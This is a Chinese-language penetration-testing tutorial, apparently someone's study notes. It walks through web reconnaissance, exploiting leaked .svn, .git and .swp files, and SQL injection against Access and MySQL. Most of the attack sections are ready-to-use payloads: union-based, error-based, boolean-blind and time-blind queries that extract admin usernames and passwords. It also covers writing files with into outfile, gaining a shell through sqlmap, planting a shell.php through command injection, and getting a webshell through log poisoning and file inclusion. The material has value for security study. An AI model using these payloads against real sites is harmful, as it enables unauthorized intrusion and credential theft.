IP
支持脚本
容器版本
开放端口情况(21,22,80,1433,5900,3306,3389,8080,43958)
绝对路径(报错页面显示、探针显示))
查询域名所有者的信息和邮箱 生成破解字典
核实目标站点采用何种cms搭建 然后定制方案 御剑指纹识别 云悉指纹识别
防止有waf存在的情况下大规模扫描被封IP
1.site:域名 warning # google or baidu
2.报错显示,比如注入点报错就可以显示出来
3.phpinfo中泄露
目录扫描是用来探测目标的目录情况 来判断目标的cms情况 ,敏感文件泄露情况,形成一个大体的站点地图
推荐御剑后台扫描
和目录扫描类似 区别是目录扫描是根据字典进行枚举 很苛刻的目录因字典未收录从而导致无法被扫描 蜘蛛爬虫是通过站点链接进行获取站点目录
蜘蛛爬行在常用的漏洞扫描器中 以及 Burpsuite里面都具备。
Burpsuite不止是一个抓包分析工具,他还具备爬虫、被动漏洞扫描、主动漏洞扫描、自动化攻击、重放等功能。
在已知对方使用的CMS时,我们可以去百度该CMS存在哪些漏洞,然后用已知的漏洞进行测试。
比如:目标站点使用的是PHPCMS V9,那么我们去百度PHPCMS V9的漏洞:
然后我可以用百度到的这些漏洞详情去测试目标站点是否存在该漏洞。
有网站管理员会把源码压缩包放在web目录下 访问该压缩包就会自动下载
常见的后缀:.rar .zip .tar.gz .7z
有些管理员对svn机制不了解 直接把svn检到web目录下,而忘记删除.svn目录(文件类型和内容),导致被攻击者获取
#####SVN泄露两个版本的区别
SVN1.7以后的版本 取消了text-base备份文件夹,同时访问svn/entries返回数字12,只会在根目录下生成.SVN文件 而不会在每个目录下生成.svn 文件
并且在.svn目录下存在wc.db文件,该数据库文件在NODES表单relpath为真实文件名,checksum为文件的sha1值,kind为文件类型(dir->目录,file->文件)
在.svn/pristine目录的二级目录下存在一个文件名为sha1值.svn-base,二级目录名为sha1值的前两位
payload:http://www.admintony.com/.svn/pristine/sha1前两位/sha1.svn-base
当SVN < 1.7时候,使用Seay法师的svn源代码利用工具
当SVN > 1,7时候,使用笔者的工具http://admintony.com/2018/02/06/SVN源代码泄露利用工具/
从git仓库下载代码的时候会自动生成一个.git隐藏文件夹(存放代码的变更记录),攻击者可以通过该文件夹下的信息拿到代码
利用工具:GitHack
使用vi编辑器打开文件会自动生成 .文件名.swp 的备份文件,是因为防止意外退出造成文件丢失
产生愿原因:有些管理员直接在web目录下修改代码生成.swp文件
利用方法:访问.swp文件会下载该文件,然后vi -r 文件名 来恢复内容
然后按下任意键就可以查看代码
不止是源码泄露会导致安全威胁 数据库泄露也会导致
数据库外泄指的是数据库文件泄露,比如手access数据库是.mdb .db是SQLite的数据库,这两种数据库系统保存在该格式的文件中,如果将此文件放置于web目录下 攻击者即可以下载数据库或者数据
这种漏洞影响最多的是ASP+ACCESS的站点,比较经典两个案例:
1.某些CMS的目录下存在/data/#data.mdb 文件
2.ewebeditor 后台GETSHELL,下载eweb的数据库就是其中关键的一步
WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。
一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,使用了Nginx的安全策略,导致web.xml能够被攻击者访问到。
测试目录
http://url/cvs/root 返回根信息
http://url/cvs/enties 返回所有文件目录
取回源码命令
bk clone http://url/name
bk下载地址
漏洞原因:代码发布时未及时删除文件夹中隐藏的.DS_store 文件,获取了敏感的文件名数据
漏洞利用:
python ds_store_exp.py http://www.example.com/.DS_Store
ds_store_exp.py
rip-bzr.pl -v -u http://www.example.com/.bzr/
dvcs-ripper
SQL注入是将恶意sql语句插入网站参数中,然后带入数据库执行
会导致后台账户和密码泄露 会员用户的账户信息泄露 ,权限足够高会导致拿到webshell 及服务器权限
开发者未对用户输入数据进行过滤 导致恶意语句带入数据库执行
access注入
0.数据库结构
1.判断注入
and 1=1
and 1=2 #结合正确参数使用
or 1=1
or 1=2 #结合错误参数使用
xor 1=1
xor 1=2 #结合错误的参数使用
a xor b <==> a and (not b)
(not a) and b
还有更简单的方法 比如在id后加 ’ ” \ % *
联合查询法
2.查字段个数
order by 22 # 回显正确
说明:这里判断出来的字段是当前页面所连接的表的字段个数而非管理员表字段个数;order by 是按照列数据进行排序的函数,用法为:order by 列名,之所以能用来判断列名个数是因为,order by 数字 <==> order by 第n个列名
3.猜表名
4.猜列名并爆数据
UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
5.如何爆出所有的用户名
UNION SELECT TOP 1 1,2,admin,4,5 from admin
UNION SELECT 1,2,admin,4,5 from admin where id = 1
逐字猜解法(盲注)
1.注入检测
请移步上方不再赘余
2.猜表名
and exists (select * from 表名)
and exists(select 列名 from 表名)
and (select top 1 len(列)from 表名)>=5
and (select top 1 asc (mid(列名,位数,1))from 表名)>=97
6.盲注的核心
盲注的核心其实是用字符串截取函数一位一位的截取数据,之后把截取到的数据用字符转ascii函数转换成ascii码和数字进行对比,之后将ascii码还原成字符。
盲注工具:ACCESS注入之逐字猜解法-Python工具
MYSQL数据库注入
MYSQL数据库结构
MYSQL 5.0以上版本数据库结构图
1.判断注入
and 1=1 (and 1)
and 1=2 (and 0)
or 1=1 (or 1)
or 1=2 (or 0)
xor 1=1 (xor 1)
xor 1=2 (xor 0)
特殊符号:' " \ %
2.猜列的个数
order by n
3.查信息
爆显位不同于ACCESS,MySQL爆显位不需要接from子句,但ACCESS要接from子句才可以。
union select @@version,2,3
可查的信息有:
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
4.查数据库名
union select group_concat(schema_name),2,3 from information_schema.schemata
union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()
这里的table_schema的值可以用:
双引号(单引号)引住明文
明文的16进制字符
database()函数
char(明文的ascii)
union select group_concat(column_name),2,3 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)
查数据
union selcet user,pwd,3 from admin
常见问题:
1.无法爆出显位,在id前面加上"-"使其报错
2.注入多个用户的数据 limit i,1
3.注入所有表或列,使用group_concat、concat、concat_ws函数
4.order by 和 top 1 不兼容,因为两者都是排序子句,而一般top 1 又 在可控参数之前,所以无法使用order by
5.程序SQL语句中已有order by,一般程序SQL语句中的order by会在可控点之后,那么我们想要使用order by语句判断列数,就要将后面的语句注释掉(e.g. order by 10 %23)
小技巧:NULL填充判断列数
UNION SELECT NULL,NULL,...,NULL
MSSQL注入
Oracle注入
普通权限注入:
所有低权限用户连接数据库的注入点:
1.非root(sa、dba)用户
2.降权后的root、sa、dba
普通权限注入利用方法有限,只能对数据库增删改,不具有文件操作权限
高权限注入
使用最高权限(root ,sa,dba)连接数据库的注入点,注入利用方式多,不仅限于增删减,还可以对文件进行读写(特殊情况后面介绍)和存储扩展的调用权限
高权限的注入点产生的危害,包括但不仅限于:
1.获取数据库数据
2.读写文件,读取文件和写shell
3.调用存扩展获取系统权限(mssql)
影响读写文件的因素:
1.是否具有file权限
2.secure_file_priv选项
读文件
union select 1,load_file('D:\\phpStudy\\WWW\\fuzz\\index.php'),3
路径注意点:
1.路径使用\\ ,否则会被当作转义符号
2.路径使用/
3.盘符根路径下可用c:admin.txt
4.16进制文件名
5.char(路径ascii)
写文件
union select 1,'',3 into outfile 'd:\\phpstudy\\www\\fuzz\\phpinfo.php'
–sql-shell
–sql-shell获取一个sqlShell用于执行SQL命令。
–os-shell获取一个cmdShell,用于执行cmd命令,对于MSSQL该选项是调用xp..cmdshell存储扩展进行执行命令的;对于MySQL该选项是通过into outfile写入shell,然后再执行命令的,因此对于MySQL需要绝对路径
[1] common location(s) ('C:/xampp/htdocs/, C:/Inetpub/wwwroot/') (default) # 常用的网站根路径
[2] custom location(s) # 用户输入
[3] custom directory list file # 从文件导入
[4] brute force search # 爆破
对于MySQL os-shell写入的两个马儿说明:第一个是一个小马(上传文件用);第二个是一个一句话,密码为cmd
小技巧:
根据页面回显不同分类
普通注入:
前面所说的那些有回显的注入,这里说的普通注入 无论什么注入方式,什么数据库 什么执行语句 都有正常的回显
报错注入:
根据数据库的一些函数 通过报错的方法把数据库的数据显示给攻击者,但是有一个限制条件
echo "
".mysql_error();
将sql语句执行错误的信息打印出来才能看到报错信息,所有报错注入需要打印sql语句执行错误的信息
MySQL中能够用在报错注入的函数有:
第一个
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
第二个
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
payload整理:
获数据库取版本号
and updatexml(0,concat(0x7c,version()),1)
查表名
and updatexml(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1)
查列名
and updatexml(0,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='admin')),1)
查数据
and updatexml(0,concat(0x7c,(select concat(user,0x7c,pwd) from admin)),1)
EXTRACTVALUE函数payload:
and EXTRACTVALUE(0,concat(0x7c,version()))
and EXTRACTVALUE(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database())))
and EXTRACTVALUE(0,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='admin')))
and EXTRACTVALUE(0,concat(0x7c,(select concat(user,0x7c,pwd) from admin)))
一个问题:
mid(string,start,[length])
盲注-基于布尔的盲注
在一些站点隐藏了错误信息的时候,联合查询和报错注入无法注入出数据以后就得使用盲注的方法
基于布尔的盲注是根据页面来判断注入和数据注入的,在存在页面注入的注入的页面输入 and(ture)返回页面一,and (fause)返回页面二,通常页面一是正确页面,页面二是错误页面
判断盲注
and 1=1
and 1=2
返回页面不相同。
猜解当前数据库用户名
第一步:判断当前数据库用户名的长度(以便逐位猜解用户名)
and (select (length(user)))=长度
第二步:逐位猜解当前数据库用户名
and (select ascii(substr(user(),位数,1)))=ascii码
猜解当前数据库名
第一步:判断当前数据库的长度(以便逐位猜解数据库名)
and (select length(database()))=长度
第二步:逐位猜解数据库名
and (select ascii(substr(database(),位数,1)))=ascii码
猜解表名
第一步:判断表名的数量(以便逐个判断表名长度)
and (select count(table_name) from information_schema.tables where table_schema=database())=数量
第二步:判断某个表的长度(以便逐位猜解表名)
and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度
第三步:逐位猜解表名
and (select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii码
猜解列名
第一步:判断列名的数量(以便逐个判断列名长度)
and (select count(column_name) from information_schema.columns where table_name=”表名”)=数量
第二步:判断某个列的长度(以便逐位猜解列名)
and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度
第三步:逐位猜解列名
and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码
猜数据
第一步:判断数据的数量(以便逐个判断数据长度)
and (select count(user) from admin)=数量
第二步:判断某条数据的长度(以便逐位猜解数据)
and (select length(user) from admin limit n,1)=长度
第三步:逐位猜解数据
and (select ascii(substr(user,位数,1)) from admin limit n,1)=ascii码
基于布尔盲注的实质:
and (SQL语句)=数字 ,页面正确则结果为该数字,否则不是
盲注-基于时间的盲注
基于布尔的盲注和基于时间的盲注不同,前者是通过页面差来判断是否存在注入以及数据注入的;后者无法得到页面差(比如:无论输入什么都得到同一个页面),而它只能通过SQL语句执行的时间来判断注入以及数据注入
常见无界面差的情况:
1.无论输入什么都只显示无信息页面,例如登陆页面。这种情况下可能只有登录失败页面,错误页面被屏蔽了,并且在没有密码的情况下,登录成功的页面一般情况下也不知道。在这种情况下,有可能基于时间的SQL注入会有效。
2.无论输入什么都只显示正常信息页面。例如,采集登录用户信息的模块页面。采集用户的 IP、浏览器类型、refer字段、session字段,无论用户输入什么,都显示正常页面。
注入过程:
判断基于时间的盲注
and if(1=1,sleep(6),1)
and if(1=2,sleep(6),1)
如上图所示,当if判断为真时,则会延时6s(sql语句执行了1s+延时6s=7s);而if判断为假时,则不延时,如下图。
猜解当前数据库用户名
第一步:猜解用户名的长度。(猜解到的用户名长度用于下面的逐位猜解用户名)
and if((select length(user()))=长度,sleep(6),0)
第二步:逐位猜解用户名。
and if((select ascii(substr(user(),位数,1))=ascii码),sleep(6),0)
猜解当前数据库名
第二步:猜解数据库名。
and if((select ascii(substr(database(),位数,1))=ascii码),sleep(6),0)
猜表名
第一步:判断表名的数量(以便逐个猜表名)
and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(6),0)
第二步:判断某个表名的长度(以便逐位猜表名的数据)
and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(6),0)
第三步:逐位猜表名
and if((select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii码,sleep(6),0)
猜列名
第一步:判断列名的数量(以便逐个猜列名)
and if((select count(column_name) from information_schema.columns where table_name="表名")=个数,sleep(6),0)
第二步:判断某个列名的长度(以便逐位猜列名的数据)
and if((select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度,sleep(6),0)
第三步:逐位猜列名
and if((select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码,sleep(6),0)
猜数据
第一步:判断数据的数量(以便逐个猜数据)
and if((select count(列名) from 表名)=个数,sleep(6),0)
第二步:判断某个数据的长度(以便逐位猜数据)
and if((select length(user) from admin)=5,sleep(6),0)
第三步:逐位猜数据
and if((select ascii(substr(user,1,1)) from admin)=97,sleep(6),0)
基于时间的盲注实质:
if(布尔盲注语句,sleep(5),1)
127.0.0.1&echo "">绝对路径
例如:127.0.0.1&echo "">shell.php
127.0.0.1&echo "">D:\phpStudy\WWW\shell.php
文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。文件包含又分为本地文件包含(Local file include)和远程文件包含(Rmote file include),不管是哪种都是非常高危的,渗透过程中文件包含漏洞大多可以直接利用获取webshell。文件包含的函数有:include(),include_once(),require,require_once(),它们之间的区别在于: include()和include_once()在包含文件时即使遇到错误,下面的代码依然会执行;而require()和require_once()则会直接报错退出程序。
本地文件包含LFI
顾名思义就是就是包含本地的文件。
配合上传利用
环境:phpstudy
程序:DVWA的上传点+本地文件包含
在实际的渗透环境中,有很多上传点无法突破,但是攻击者可以利用上传点配合本地包含漏洞获取webshell。
第一步:上传图片马,并记录图片的路径。
第二步:利用文件包含漏洞包含图片马
配合Apache日志利用
环境:phpstudy
程序:本地文件包含(无上传点)
信息:已知Apache绝对路径
第一步:将webshell代码写在URL中,抓包访问,这里我们以phpinfo();作为演示。
抓包
改包 %3C?php%20phpinfo();?%3E
转换URL code
注意:在数据包中要对webshell代码进行urldecode操作,否则被记录到日志中的webshell代码是编码后的。
转换结束后
找到error.log
第二步:包含日志文件获取webshell,可以包含access.log也可以包含error.log,此两者均存放在apache/logs/目录下。